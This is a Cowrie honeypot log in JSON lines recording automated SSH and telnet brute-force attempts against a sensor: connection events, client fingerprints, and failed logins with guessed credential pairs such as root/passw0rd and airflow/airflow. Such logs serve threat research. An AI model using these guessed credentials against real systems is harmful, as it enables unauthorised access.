{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.166248Z","src_ip":"176.65.132.129","session":"43874923e7a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"devuser123","message":"login attempt [root/devuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.453473Z","src_ip":"213.135.168.228","session":"16ad965e3fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mdh","message":"login attempt [root/mdh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.523939Z","src_ip":"186.13.24.118","session":"f7f24b5f260e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:45.589812Z","src_ip":"176.65.132.129","session":"43874923e7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:46.597503Z","src_ip":"213.135.168.228","session":"16ad965e3fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:46.680650Z","src_ip":"176.65.132.129","session":"43874923e7a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:46.693801Z","src_ip":"186.13.24.118","session":"f7f24b5f260e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":41540,"dst_ip":"159.203.135.109","dst_port":22,"session":"9035076058e6","protocol":"ssh","message":"New connection: 103.82.132.16:41540 (159.203.135.109:22) [session: 9035076058e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:46.818254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:46.823669Z","src_ip":"103.82.132.16","session":"9035076058e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:47.091001Z","src_ip":"103.82.132.16","session":"9035076058e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.93846392631531,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.395737Z","src_ip":"152.42.224.71","session":"3adfd879e681","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40822,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0813e721f7b","protocol":"ssh","message":"New connection: 176.65.132.129:40822 (159.203.135.109:22) [session: a0813e721f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.437163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.440889Z","src_ip":"176.65.132.129","session":"a0813e721f7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.523470Z","src_ip":"176.65.132.129","session":"a0813e721f7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.774125Z","src_ip":"176.65.132.129","session":"a0813e721f7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.21638536453247,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:48.779588Z","src_ip":"152.42.224.71","session":"f275831f5a2d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasuke","message":"login attempt [root/sasuke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:49.328932Z","src_ip":"103.82.132.16","session":"9035076058e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:49.858549Z","src_ip":"176.65.132.129","session":"a0813e721f7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34370,"dst_ip":"10.17.0.5","dst_port":23,"session":"9df12c884788","protocol":"telnet","message":"New connection: 152.42.224.71:34370 (10.17.0.5:23) [session: 9df12c884788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:50.562396Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:50.598312Z","src_ip":"103.82.132.16","session":"9035076058e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40838,"dst_ip":"159.203.135.109","dst_port":22,"session":"4003a302eeff","protocol":"ssh","message":"New connection: 176.65.132.129:40838 (159.203.135.109:22) [session: 4003a302eeff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:51.679464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:51.686715Z","src_ip":"176.65.132.129","session":"4003a302eeff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:51.768850Z","src_ip":"176.65.132.129","session":"4003a302eeff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airflow","password":"airflow","message":"login attempt [airflow/airflow] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:52.015400Z","src_ip":"176.65.132.129","session":"4003a302eeff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:53.144903Z","src_ip":"176.65.132.129","session":"4003a302eeff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.158133029937744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:54.918108Z","src_ip":"152.42.224.71","session":"6768ec2cd640","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40842,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7e130437509","protocol":"ssh","message":"New connection: 176.65.132.129:40842 (159.203.135.109:22) [session: b7e130437509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:54.971438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:54.976587Z","src_ip":"176.65.132.129","session":"b7e130437509","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:55.058583Z","src_ip":"176.65.132.129","session":"b7e130437509","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa1234567890","message":"login attempt [root/Aa1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:55.441353Z","src_ip":"176.65.132.129","session":"b7e130437509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:56.526366Z","src_ip":"176.65.132.129","session":"b7e130437509","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.85269069671631,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:57.402541Z","src_ip":"152.42.224.71","session":"8f5988d49483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57630,"dst_ip":"159.203.135.109","dst_port":22,"session":"360227fe3905","protocol":"ssh","message":"New connection: 176.65.132.129:57630 (159.203.135.109:22) [session: 360227fe3905]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:58.369910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:58.374443Z","src_ip":"176.65.132.129","session":"360227fe3905","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:58.456488Z","src_ip":"176.65.132.129","session":"360227fe3905","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:58.701379Z","src_ip":"176.65.132.129","session":"360227fe3905","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:48:59.786895Z","src_ip":"176.65.132.129","session":"360227fe3905","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":60942,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8efd0608149","protocol":"ssh","message":"New connection: 82.152.132.24:60942 (159.203.135.109:22) [session: e8efd0608149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:00.100481Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:00.108580Z","src_ip":"82.152.132.24","session":"e8efd0608149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:00.234776Z","src_ip":"82.152.132.24","session":"e8efd0608149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spanky","message":"login attempt [root/spanky] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:00.771157Z","src_ip":"82.152.132.24","session":"e8efd0608149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":57632,"dst_ip":"159.203.135.109","dst_port":22,"session":"dbb073584f82","protocol":"ssh","message":"New connection: 176.65.132.129:57632 (159.203.135.109:22) [session: dbb073584f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:01.603520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:01.617069Z","src_ip":"176.65.132.129","session":"dbb073584f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:01.704046Z","src_ip":"176.65.132.129","session":"dbb073584f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:01.906621Z","src_ip":"82.152.132.24","session":"e8efd0608149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:01.961006Z","src_ip":"176.65.132.129","session":"dbb073584f82","protocol":"ssh"}
